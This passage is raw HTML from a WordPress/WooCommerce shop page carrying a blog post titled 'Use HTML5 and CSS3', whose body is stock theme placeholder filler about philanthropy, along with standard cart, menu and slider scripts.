<link rel='stylesheet' id='select2-css' href='https://preojon.com/wp-content/themes/boxshop/css/select2.css?ver=2.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='boxshop-dynamic-css-css' href='https://preojon.com/wp-content/uploads/boxshop.css?ver=1726734839' type='text/css' media='all' />
<script type="text/template" id="tmpl-variation-template">
	<div class="woocommerce-variation-description">{{{ data.variation.variation_description }}}</div>
	<div class="woocommerce-variation-price">{{{ data.variation.price_html }}}</div>
	<div class="woocommerce-variation-availability">{{{ data.variation.availability_html }}}</div>
</script>
<script type="text/template" id="tmpl-unavailable-variation-template">
	<p>Sorry, this product is unavailable. Please choose a different combination.</p>
</script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.9.2.5" id="jquery-blockui-js" data-wp-strategy="defer"></script>
<script type="text/javascript" id="wc-add-to-cart-js-extra">
/* <![CDATA[ */
var wc_add_to_cart_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","i18n_view_cart":"View cart","cart_url":"https:\/\/preojon.com\/cart-2\/","is_cart":"","cart_redirect_after_add":"no"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=9.2.5" id="wc-add-to-cart-js" data-wp-strategy="defer"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.9.2.5" id="js-cookie-js" defer="defer" data-wp-strategy="defer"></script>
<script type="text/javascript" id="woocommerce-js-extra">
/* <![CDATA[ */
var woocommerce_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=9.2.5" id="woocommerce-js" defer="defer" data-wp-strategy="defer"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/js_composer/assets/js/vendors/woocommerce-add-to-cart.js?ver=7.1" id="vc_woocommerce-add-to-cart-js-js"></script>
<script type="text/javascript" id="wc-cart-fragments-js-extra">
/* <![CDATA[ */
var wc_cart_fragments_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","cart_hash_key":"wc_cart_hash_57c6cd375f14a65ed98297ef221a528f","fragment_name":"wc_fragments_57c6cd375f14a65ed98297ef221a528f","request_timeout":"5000"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=9.2.5" id="wc-cart-fragments-js" defer="defer" data-wp-strategy="defer"></script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/underscore.min.js?ver=1.13.4" id="underscore-js"></script>
<script type="text/javascript" id="wp-util-js-extra">
/* <![CDATA[ */
var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/wp-util.min.js?ver=6.6.5" id="wp-util-js"></script>
<script type="text/javascript" id="wc-add-to-cart-variation-js-extra">
/* <![CDATA[ */
var wc_add_to_cart_variation_params = {"wc_ajax_url":"\/?wc-ajax=%%endpoint%%","i18n_no_matching_variations_text":"Sorry, no products matched your selection. Please choose a different combination.","i18n_make_a_selection_text":"Please select some product options before adding this product to your cart.","i18n_unavailable_text":"Sorry, this product is unavailable. Please choose a different combination."};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart-variation.min.js?ver=9.2.5" id="wc-add-to-cart-variation-js" defer="defer" data-wp-strategy="defer"></script>
<script></script><link rel="https://api.w.org/" href="https://preojon.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://preojon.com/wp-json/wp/v2/posts/336" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://preojon.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.6.5" />
<meta name="generator" content="WooCommerce 9.2.5" />
<link rel='shortlink' href='https://preojon.com/?p=336' />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://preojon.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpreojon.com%2Fuse-html5-and-css3%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://preojon.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpreojon.com%2Fuse-html5-and-css3%2F&#038;format=xml" />
<style type="text/css" data-type="vc_shortcodes-custom-css">.vc_custom_1493559947774{margin-bottom: 0px !important;padding-top: 22px !important;}.vc_custom_1476704978126{margin-bottom: 0px !important;}.vc_custom_1493701352634{margin-top: 30px !important;margin-bottom: 40px !important;}.vc_custom_1489550264955{margin-bottom: 0px !important;}.vc_custom_1489554426173{margin-bottom: -40px !important;padding-top: 55px !important;}.vc_custom_1489554376293{margin-bottom: 50px !important;}.vc_custom_1489554382491{margin-bottom: 50px !important;}.vc_custom_1489554388927{margin-bottom: 50px !important;}.vc_custom_1489554475555{margin-bottom: 50px !important;}.vc_custom_1489554124589{margin-bottom: 0px !important;border-bottom-width: 0px !important;padding-top: 70px !important;}.vc_custom_1476705347722{margin-bottom: 0px !important;}.vc_custom_1476705244248{margin-bottom: 50px !important;}.vc_custom_1476705257509{margin-bottom: 50px !important;}.vc_custom_1476706950105{margin-bottom: 50px !important;}.vc_custom_1726895332681{margin-bottom: 40px !important;}.vc_custom_1474460712483{margin-bottom: 0px !important;}.vc_custom_1492797021714{margin-bottom: 0px !important;}.vc_custom_1763794202092{margin-bottom: 0px !important;}</style>		<link rel="pingback" href="https://preojon.com/xmlrpc.php" />
			<noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript>
	<meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/>
<style type="text/css" id="custom-background-css">
body.custom-background { background-image: url("https://preojon.com/wp-content/uploads/2024/09/bread-common.webp"); background-position: left top; background-size: auto; background-repeat: repeat; background-attachment: scroll; }
</style>
	<meta name="generator" content="Powered by Slider Revolution 6.6.18 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface." />
<style id='wp-fonts-local' type='text/css'>
@font-face{font-family:Inter;font-style:normal;font-weight:300 900;font-display:fallback;src:url('https://preojon.com/wp-content/plugins/woocommerce/assets/fonts/Inter-VariableFont_slnt,wght.woff2') format('woff2');font-stretch:normal;}
@font-face{font-family:Cardo;font-style:normal;font-weight:400;font-display:fallback;src:url('https://preojon.com/wp-content/plugins/woocommerce/assets/fonts/cardo_normal_400.woff2') format('woff2');}
</style>
<link rel="icon" href="https://preojon.com/wp-content/uploads/2024/08/cropped-fevicon-32x32.webp" sizes="32x32" />
<link rel="icon" href="https://preojon.com/wp-content/uploads/2024/08/cropped-fevicon-192x192.webp" sizes="192x192" />
<link rel="apple-touch-icon" href="https://preojon.com/wp-content/uploads/2024/08/cropped-fevicon-180x180.webp" />
<meta name="msapplication-TileImage" content="https://preojon.com/wp-content/uploads/2024/08/cropped-fevicon-270x270.webp" />
<script>function setREVStartSize(e){
			//window.requestAnimationFrame(function() {
				window.RSIW = window.RSIW===undefined ? window.innerWidth : window.RSIW;
				window.RSIH = window.RSIH===undefined ? window.innerHeight : window.RSIH;
				try {
					var pw = document.getElementById(e.c).parentNode.offsetWidth,
						newh;
					pw = pw===0 || isNaN(pw) || (e.l=="fullwidth" || e.layout=="fullwidth") ? window.RSIW : pw;
					e.tabw = e.tabw===undefined ? 0 : parseInt(e.tabw);
					e.thumbw = e.thumbw===undefined ? 0 : parseInt(e.thumbw);
					e.tabh = e.tabh===undefined ? 0 : parseInt(e.tabh);
					e.thumbh = e.thumbh===undefined ? 0 : parseInt(e.thumbh);
					e.tabhide = e.tabhide===undefined ? 0 : parseInt(e.tabhide);
					e.thumbhide = e.thumbhide===undefined ? 0 : parseInt(e.thumbhide);
					e.mh = e.mh===undefined || e.mh=="" || e.mh==="auto" ? 0 : parseInt(e.mh,0);
					if(e.layout==="fullscreen" || e.l==="fullscreen")
						newh = Math.max(e.mh,window.RSIH);
					else{
						e.gw = Array.isArray(e.gw) ? e.gw : [e.gw];
						for (var i in e.rl) if (e.gw[i]===undefined || e.gw[i]===0) e.gw[i] = e.gw[i-1];
						e.gh = e.el===undefined || e.el==="" || (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el;
						e.gh = Array.isArray(e.gh) ? e.gh : [e.gh];
						for (var i in e.rl) if (e.gh[i]===undefined || e.gh[i]===0) e.gh[i] = e.gh[i-1];
											
						var nl = new Array(e.rl.length),
							ix = 0,
							sl;
						e.tabw = e.tabhide>=pw ? 0 : e.tabw;
						e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw;
						e.tabh = e.tabhide>=pw ? 0 : e.tabh;
						e.thumbh = e.thumbhide>=pw ? 0 : e.thumbh;
						for (var i in e.rl) nl[i] = e.rl[i]<window.RSIW ? 0 : e.rl[i];
						sl = nl[0];
						for (var i in nl) if (sl>nl[i] && nl[i]>0) { sl = nl[i]; ix=i;}
						var m = pw>(e.gw[ix]+e.tabw+e.thumbw) ? 1 : (pw-(e.tabw+e.thumbw)) / (e.gw[ix]);
						newh =  (e.gh[ix] * m) + (e.tabh + e.thumbh);
					}
					var el = document.getElementById(e.c);
					if (el!==null && el) el.style.height = newh+"px";
					el = document.getElementById(e.c+"_wrapper");
					if (el!==null && el) {
						el.style.height = newh+"px";
						el.style.display = "block";
					}
				} catch(e){
					console.log("Failure at Presize of Slider:" + e)
				}
			//});
		  };</script>
		<style type="text/css" id="wp-custom-css">
			#to-top a, a.button, button, input[type="submit"], .shopping-cart p.buttons a, .woocommerce #payment #place_order, .woocommerce #respond input#submit, .woocommerce a.button, .woocommerce button.button, .woocommerce input.button, .woocommerce #respond input#submit.alt, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, body #yith-woocompare table.compare-list .add-to-cart td a, body .mailchimp-subscription.text-default button.button:hover, .woocommerce .mailchimp-subscription.text-default button.button:hover, body .mailchimp-subscription.text-default button.button:focus, .woocommerce .mailchimp-subscription.text-default button.button:focus {
	display: none;
}		</style>
		<noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript></head>
<body class="post-template-default single single-post postid-336 single-format-standard custom-background theme-boxshop woocommerce-no-js wide ts_desktop wpb-js-composer js-comp-ver-7.1 vc_responsive">
<div id="page" class="hfeed site">

	
		<!-- Page Slider -->
				<div class="mobile-menu-wrapper">
			<span class="ic-mobile-menu-close-button"><i class="fa fa-remove"></i></span>
			<nav class="menu"><ul>
<li class="page_item page-item-4182"><a href="https://preojon.com/about-us/">About us</a></li>
<li class="page_item page-item-4271"><a href="https://preojon.com/about-us-2/">About us 2</a></li>
<li class="page_item page-item-315"><a href="https://preojon.com/blog/">Blog</a></li>
<li class="page_item page-item-6558"><a href="https://preojon.com/blog-list/">Blog List</a></li>
<li class="page_item page-item-4001 page_item_has_children"><a href="https://preojon.com/blog-masonry/">Blog Masonry</a>
<ul class='children'>
	<li class="page_item page-item-4004"><a href="https://preojon.com/blog-masonry/3-columns/">3 columns</a></li>
	<li class="page_item page-item-4006"><a href="https://preojon.com/blog-masonry/with-sidebar/">With sidebar</a></li>
</ul>
</li>
<li class="page_item page-item-467 page_item_has_children"><a href="https://preojon.com/blog-shortcodes/">Blog shortcodes</a>
<ul class='children'>
	<li class="page_item page-item-550"><a href="https://preojon.com/blog-shortcodes/accordion/">Accordion</a></li>
	<li class="page_item page-item-1646"><a href="https://preojon.com/blog-shortcodes/banner/">Banner</a></li>
	<li class="page_item page-item-204"><a href="https://preojon.com/blog-shortcodes/button/">Button</a></li>
	<li class="page_item page-item-760"><a href="https://preojon.com/blog-shortcodes/faq/">FAQ</a></li>
	<li class="page_item page-item-515"><a href="https://preojon.com/blog-shortcodes/feature/">Feature</a></li>
	<li class="page_item page-item-763"><a href="https://preojon.com/blog-shortcodes/google-map/">Google map</a></li>
	<li class="page_item page-item-2620"><a href="https://preojon.com/blog-shortcodes/heading/">Heading</a></li>
	<li class="page_item page-item-758"><a href="https://preojon.com/blog-shortcodes/images-gallery/">Images gallery</a></li>
	<li class="page_item page-item-750"><a href="https://preojon.com/blog-shortcodes/message-box/">Message box</a></li>
	<li class="page_item page-item-5246"><a href="https://preojon.com/blog-shortcodes/milestone/">Milestone</a></li>
	<li class="page_item page-item-313 page_item_has_children"><a href="https://preojon.com/blog-shortcodes/portfolio/">Portfolio</a>
	<ul class='children'>
		<li class="page_item page-item-4014"><a href="https://preojon.com/blog-shortcodes/portfolio/3-columns/">3 columns</a></li>
	</ul>
</li>
	<li class="page_item page-item-4255"><a href="https://preojon.com/blog-shortcodes/price-table/">Price table</a></li>
	<li class="page_item page-item-746"><a href="https://preojon.com/blog-shortcodes/progress-bar/">Progress bar</a></li>
	<li class="page_item page-item-569"><a href="https://preojon.com/blog-shortcodes/shortcode-blog/">Shortcode blog</a></li>
	<li class="page_item page-item-2592"><a href="https://preojon.com/blog-shortcodes/single-image/">Single image</a></li>
	<li class="page_item page-item-1624"><a href="https://preojon.com/blog-shortcodes/slider-logo-2/">Slider logo</a></li>
	<li class="page_item page-item-748"><a href="https://preojon.com/blog-shortcodes/tab-content/">Tab content</a></li>
	<li class="page_item page-item-507"><a href="https://preojon.com/blog-shortcodes/team-member/">Team member</a></li>
	<li class="page_item page-item-517"><a href="https://preojon.com/blog-shortcodes/testimonial/">Testimonial</a></li>
	<li class="page_item page-item-4986"><a href="https://preojon.com/blog-shortcodes/twitter-slider/">Twitter slider</a></li>
	<li class="page_item page-item-423"><a href="https://preojon.com/blog-shortcodes/typography/">Typography</a></li>
</ul>
</li>
<li class="page_item page-item-8"><a href="https://preojon.com/cart/">Cart</a></li>
<li class="page_item page-item-9"><a href="https://preojon.com/checkout/">Checkout</a></li>
<li class="page_item page-item-53"><a href="https://preojon.com/checkout-2/">Checkout</a></li>
<li class="page_item page-item-4434"><a href="https://preojon.com/coming-soon/">Coming soon</a></li>
<li class="page_item page-item-1613"><a href="https://preojon.com/contact-us/">Contact us</a></li>
<li class="page_item page-item-5448 page_item_has_children"><a href="https://preojon.com/supermarket/">Home</a>
<ul class='children'>
	<li class="page_item page-item-6425"><a href="https://preojon.com/">Home</a></li>
</ul>
</li>
<li class="page_item page-item-10"><a href="https://preojon.com/my-account/">My account</a></li>
<li class="page_item page-item-54"><a href="https://preojon.com/my-account-2/">My Account</a></li>
<li class="page_item page-item-3"><a href="https://preojon.com/privacy-policy/">Privacy Policy</a></li>
<li class="page_item page-item-7"><a href="https://preojon.com/shop/">Shop</a></li>
<li class="page_item page-item-51"><a href="https://preojon.com/shop-2/">Shop</a></li>
<li class="page_item page-item-457 page_item_has_children"><a href="https://preojon.com/shortcode-products/">Shop shortcodes</a>
<ul class='children'>
	<li class="page_item page-item-459"><a href="https://preojon.com/shortcode-products/best-selling-products-slider/">Best selling product</a></li>
	<li class="page_item page-item-452"><a href="https://preojon.com/shortcode-products/feature-products-slider/">Feature products</a></li>
	<li class="page_item page-item-1282"><a href="https://preojon.com/shortcode-products/product-deals-slider/">Product deals slider</a></li>
	<li class="page_item page-item-2670"><a href="https://preojon.com/shortcode-products/product-with-tab/">Product with tab</a></li>
	<li class="page_item page-item-2597"><a href="https://preojon.com/shortcode-products/products-widget/">Products widget</a></li>
	<li class="page_item page-item-455"><a href="https://preojon.com/shortcode-products/recent-products-slider/">Recent products</a></li>
	<li class="page_item page-item-1250"><a href="https://preojon.com/shortcode-products/sale-products/">Sale products</a></li>
	<li class="page_item page-item-1244"><a href="https://preojon.com/shortcode-products/top/">Top rated products</a></li>
</ul>
</li>
<li class="page_item page-item-52"><a href="https://preojon.com/cart-2/">Shopping cart</a></li>
<li class="page_item page-item-9951"><a href="https://preojon.com/terms-conditions/">Terms &amp; Conditions</a></li>
<li class="page_item page-item-111"><a href="https://preojon.com/test/">Test</a></li>
<li class="page_item page-item-491"><a href="https://preojon.com/track-order/">Track order</a></li>
<li class="page_item page-item-13"><a href="https://preojon.com/wishlist/">Wishlist</a></li>
<li class="page_item page-item-90"><a href="https://preojon.com/wishlist-2/">Wishlist</a></li>
</ul></nav>
		</div>
		
		<header class="ts-header has-sticky">
	<div class="header-container">
		<div class="header-template  header-v2 show-cart show-search">
			<div class="header-top ">
				<div class="container">
					<div class="header-left">
						<span class="ic-mobile-menu-button visible-phone"><i class="fa fa-bars"></i></span>
												<div class="info-desc"><i class='pe-7s-call'></i> +1 (929) 418-6423 </div>
											</div>
					<div class="header-right">
						
						<span class="ts-group-meta-icon-toggle visible-phone"><i class="fa fa-cog"></i></span>
				
												<div class="shopping-cart-wrapper visible-vertical-ipad cart-mobile visible-phone">			<div class="ts-tiny-cart-wrapper">
				<a class="cart-control" href="https://preojon.com/cart-2/" title="View your shopping bag">
					<span class="pe-7s-cart cart-icon"></span>
					<span class="cart-number">0 items</span>
					<span class="hyphen">-</span>
					<span class="cart-total"><span class="woocommerce-Price-amount amount"><bdi><span class="woocommerce-Price-currencySymbol">&#36;</span>0.00</bdi></span></span>
				</a>
				<span class="cart-drop-icon drop-icon"></span>
				<div class="cart-dropdown-form dropdown-container">
					<div class="form-content">
													<label>Your shopping cart is empty</label>
											</div>
				</div>
			</div>
		</div>
												
						<div class="group-meta-header">
							
														
														<div class="my-account-wrapper">		<div class="ts-tiny-account-wrapper">
			<div class="account-control">
				<i class="pe-7s-users"></i>
									<a  class="login" href="https://preojon.com/my-account-2/" title="Login"><span>Login</span></a>
					 / 
					<a class="sign-up" href="https://preojon.com/my-account-2/" title="Create New Account"><span>Sign up</span></a>
							</div>
						<div class="account-dropdown-form dropdown-container">
				<div class="form-content">	
					<form name="ts-login-form" id="ts-login-form" action="https://preojon.com/wp-login.php" method="post"><p class="login-username">
				<label for="user_login">Username</label>
				<input type="text" name="log" id="user_login" autocomplete="username" class="input" value="" size="20" />
			</p><p class="login-password">
				<label for="user_pass">Password</label>
				<input type="password" name="pwd" id="user_pass" autocomplete="current-password" spellcheck="false" class="input" value="" size="20" />
			</p><p class="login-submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary" value="Login" />
				<input type="hidden" name="redirect_to" value="https://preojon.com/use-html5-and-css3/" />
			</p></form>		
					<p class="forgot-pass"><a href="https://preojon.com/my-account-2/lost-password/" title="Forgot Your Password?">Forgot Your Password?</a></p>
				</div>
			</div>
					</div>
		
		</div>
								
							
														<div class="my-wishlist-wrapper">
	<a title="Wishlist" href="https://preojon.com/wishlist-2/" class="tini-wishlist">
		<i class="pe-7s-like"></i>
		Wishlist (0)	</a>

	</div>
														
														<div class="header-currency"></div>
														
														<div class="header-language"></div>
							
							
						</div>
					</div>
				</div>
			</div>
			<div class="header-middle">
				<div class="container">
					<div class="logo-wrapper">		<div class="logo">
			<a href="https://preojon.com/">
			<!-- Main logo -->
							<img src="https://preojon.com/wp-content/uploads/2024/08/preojon-1.webp" alt="Preojon" title="Preojon" class="normal-logo" />
						
			<!-- Mobile logo -->
							<img src="https://preojon.com/wp-content/uploads/2024/08/preojon-1.webp" alt="Preojon" title="Preojon" class="normal-logo mobile-logo" />
						
			<!-- Sticky logo -->
							<img src="https://preojon.com/wp-content/uploads/2024/08/preojon-1.webp" alt="Preojon" title="Preojon" class="normal-logo sticky-logo" />
						
			<!-- Logo Text -->
						</a>
		</div>
		</div>
					
					
										<div class="search-wrapper">		<div class="ts-search-by-category ">
			<form method="get" id="searchform189" action="https://preojon.com/">
								<select class="select-category" name="term"><option value="">All categories</option><option value="decor-or-islamic-frame" >Decor or Islamic Frame</option><option value="clock" >&nbsp;&nbsp;&nbsp;Clock</option><option value="flower-vase" >&nbsp;&nbsp;&nbsp;Flower Vase</option><option value="photo-frame" >&nbsp;&nbsp;&nbsp;Photo Frame</option><option value="wallmet" >&nbsp;&nbsp;&nbsp;Wallmet</option><option value="men" >Men</option><option value="casual-wear" >&nbsp;&nbsp;&nbsp;Casual Wear</option><option value="dress-men" >&nbsp;&nbsp;&nbsp;Dress</option><option value="foot-ware-men" >&nbsp;&nbsp;&nbsp;Foot Ware</option><option value="jersey" >&nbsp;&nbsp;&nbsp;Jersey</option><option value="panjabi" >&nbsp;&nbsp;&nbsp;Panjabi</option><option value="perfume-men" >&nbsp;&nbsp;&nbsp;Perfume</option><option value="suit" >&nbsp;&nbsp;&nbsp;Suit</option><option value="watch" >&nbsp;&nbsp;&nbsp;Watch</option><option value="toy" >Toy</option><option value="boy" >&nbsp;&nbsp;&nbsp;Boy</option><option value="for-all" >&nbsp;&nbsp;&nbsp;For All</option><option value="girl" >&nbsp;&nbsp;&nbsp;Girl</option><option value="uncategorized" >Uncategorized</option><option value="wedding" >Wedding</option><option value="women" >Women</option><option value="bag-accessories" >&nbsp;&nbsp;&nbsp;Bag &amp; Accessories</option><option value="beauty-product" >&nbsp;&nbsp;&nbsp;Beauty Product</option><option value="dress-women" >&nbsp;&nbsp;&nbsp;Dress</option><option value="foot-ware-wome" >&nbsp;&nbsp;&nbsp;Foot Ware</option><option value="jewellery" >&nbsp;&nbsp;&nbsp;Jewellery</option><option value="anklet" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Anklet</option><option value="bangles" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bangles</option><option value="bracelets" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bracelets</option><option value="earrings" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Earrings</option><option value="kids-bangles" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Kids Bangles</option><option value="ring" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ring</option><option value="set" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set</option><option value="perfume-women" >&nbsp;&nbsp;&nbsp;Perfume</option></select>
								<div class="search-content">
					<input type="text" value="" name="s" id="s189" placeholder="Search for products" autocomplete="off" />
					<input type="submit" title="Search" id="searchsubmit189" value="Search" />
					<input type="hidden" name="post_type" value="product" />
										<input type="hidden" name="taxonomy" value="product_cat" />
									</div>
			</form>
		</div>
		</div>
									</div>
			</div>
			<div class="header-sticky header-bottom ">
				<div class="container">
					<div class="header-left">
						<div class="menu-wrapper hidden-phone">				
							<div class="ts-menu">
								<nav class="main-menu pc-menu ts-mega-menu-wrapper"><ul id="menu-all-category" class="menu"><li id="menu-item-9247" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9247"><a href="https://preojon.com/product-category/Women/">Women</a></li>
<li id="menu-item-9445" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9445"><a href="https://preojon.com/product-category/Men/">Men</a></li>
<li id="menu-item-9244" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9244"><a href="https://preojon.com/product-category/Decor-or-Islamic-Frame/">Decor or Islamic Frame</a></li>
<li id="menu-item-9248" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9248"><a href="https://preojon.com/product-category/toy/">Toys</a></li>
<li id="menu-item-9249" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9249"><a href="https://preojon.com/product-category/Wedding">Wedding</a></li>
</ul></nav>							</div>
						</div>
					</div>
					<div class="header-right">
						
													<div class="shopping-cart-wrapper hidden-vertical-ipad">			<div class="ts-tiny-cart-wrapper">
				<a class="cart-control" href="https://preojon.com/cart-2/" title="View your shopping bag">
					<span class="pe-7s-cart cart-icon"></span>
					<span class="cart-number">0 items</span>
					<span class="hyphen">-</span>
					<span class="cart-total"><span class="woocommerce-Price-amount amount"><bdi><span class="woocommerce-Price-currencySymbol">&#36;</span>0.00</bdi></span></span>
				</a>
				<span class="cart-drop-icon drop-icon"></span>
				<div class="cart-dropdown-form dropdown-container">
					<div class="form-content">
													<label>Your shopping cart is empty</label>
											</div>
				</div>
			</div>
		</div>
												
					</div>
				</div>
			</div>
			<div class="menu-wrapper visible-phone">				
				<div class="ts-menu">
									</div>
			</div>
		</div>	
	</div>
</header>		
		
	
	<div id="main" class="wrapper"><div class="breadcrumb-title-wrapper breadcrumb-v1 ts-breadcrumb-parallax" style="background-image: url(https://preojon.com/wp-content/uploads/2024/09/bread-common.webp)"><div class="breadcrumb-content"><div class="breadcrumb-title"><h1 class="heading-title page-title entry-title ">Use HTML5 and CSS3</h1><div class="breadcrumbs"><div class="breadcrumbs-container"><a href="https://preojon.com/">Home</a> <span class="brn_arrow">&rsaquo;</span> <a href="https://preojon.com/category/fashions-star/">Fashion's Star</a> <span class="brn_arrow">&rsaquo;</span> <span class="current">Use HTML5 and CSS3</span></div></div></div></div></div><div id="content" class="page-container container-post show_breadcrumb_v1">
	<!-- Left Sidebar -->
		
	<!-- end left sidebar -->
	
	<!-- main-content -->
	<div id="main-content" class="ts-col-18">
		<article class="single single-post">
			<!-- Blog Thumbnail -->
						<div class="entry-content no-thumbnail">
				<div class="entry-meta has-datetime has-author">
					<!-- Blog Date Time -->
										<div class="date-time">
						<span>01</span>
						<span>Nov</span>
					</div>
										
					<!-- Blog Comment -->
											<span class="comment-count">
							<i class="pe-7s-chat"></i>
							<span class="number">
								0							</span>
						</span>
										
					<!-- Blog view -->
										<span class="view-count">
						<i class="pe-7s-look"></i>
						<span class="number">
							74						</span>
					</span>
										
					<!-- Blog Author -->
										<span class="vcard author">Post by <a href="https://preojon.com/author/preojonny/" title="Posts by preojonny" rel="author">preojonny</a></span>
									
				</div>
				
				<!-- Blog Content -->
								<div class="content-wrapper">
					<div class="full-content"><p>Solve challenges tAction Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize globalization research. Honor urban fundraise human being; technology raise awareness partnership. Political global growth cross-agency coordination democratizing the global financial system. Frontline leverage, social entrepreneurship non-partisan meaningful, visionary, social Ford Foundation. </p>
<p>Best practices disruptor catalyst public sector; protect micro-finance educate. Gender rights world problem solving legitimize rural development medicine Ford Foundation committed revitalize respect. Affordable health care, humanitarian.</p>
<p>Time of extraordinary change necessities; participatory monitoring safeguards Bill and Melinda Gates celebrate combat poverty working alongside. Facilitate economic security courageous reduce child mortality Ford Foundation Arab Spring.  Time of extraordinary change necessities; participatory monitoring safeguards Bill and Melinda Gates celebrate combat poverty working alongside. Facilitate economic security courageous reduce child mortality Ford Foundation Arab Spring. </p>
<blockquote class="quote-border"><p>Outcomes, prevention focus on impact scalable disruption legitimize. Inspiration best practices diversity Aga Khan activism empowerment volunteer. Investment sustainability foster international development.</p></blockquote>
<p>Solve challenges tAction Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize globalization research. Honor urban fundraise human being; technology raise awareness partnership. Political global growth cross-agency coordination democratizing the global financial system. Frontline leverage, social entrepreneurship non-partisan meaningful, visionary, social Ford Foundation. </p>
<p>Best practices disruptor catalyst public sector; protect micro-finance educate. Gender rights world problem solving legitimize rural development medicine Ford Foundation committed revitalize respect. Affordable health care, humanitarian.</p>
<p>Time of extraordinary change necessities; participatory monitoring safeguards Bill and Melinda Gates celebrate combat poverty working alongside. Facilitate economic security courageous reduce child mortality Ford Foundation Arab Spring.  Time of extraordinary change necessities; participatory monitoring safeguards Bill and Melinda Gates celebrate combat poverty working alongside. Facilitate economic security courageous reduce child mortality Ford Foundation Arab Spring.</p>
</div>
									</div>
							
				<div class="meta-bottom-wrapper">
										<div class="meta-bottom-1 has-categories has-social">
						<!-- Blog Categories -->
												<div class="cats-link">
							<span class="cat-title">Categories: </span>
							<span class="cat-links"><a href="https://preojon.com/category/fashions-star/" rel="category tag">Fashion's Star</a>, <a href="https://preojon.com/category/high-fashion/" rel="category tag">High Fashion</a>, <a href="https://preojon.com/category/what-new/" rel="category tag">What's New</a></span>
						</div>
												
						<!-- Blog Sharing -->
												<div class="social-sharing">
								<ul class="ts-social-sharing">
				<li class="facebook">
			<a href="https://www.facebook.com/sharer/sharer.php?u=https://preojon.com/use-html5-and-css3/" target="_blank"><i class="fa fa-facebook"></i></a>
		</li>
	
		<li class="twitter">
			<a href="https://twitter.com/intent/tweet?text=https://preojon.com/use-html5-and-css3/" target="_blank"><i class="fa fa-twitter"></i></a>
		</li>
	
		<li class="pinterest">
						<a href="https://pinterest.com/pin/create/button/?url=https://preojon.com/use-html5-and-css3/&amp;media=" target="_blank"><i class="fa fa-pinterest"></i></a>
		</li>
	
		<li class="linkedin">
			<a href="http://linkedin.com/shareArticle?mini=true&amp;url=https://preojon.com/use-html5-and-css3/&amp;title=use-html5-and-css3" target="_blank"><i class="fa fa-linkedin"></i></a>
		</li>
	
		<li class="reddit">
			<a href="http://www.reddit.com/submit?url=https://preojon.com/use-html5-and-css3/&amp;title=use-html5-and-css3" target="_blank"><i class="fa fa-reddit"></i></a>
		</li>
			</ul>
							</div>
											</div>
										
										<div class="meta-bottom-2">
						<!-- Blog Tags -->
						<div class="tags-link">
							<span class="tag-links">
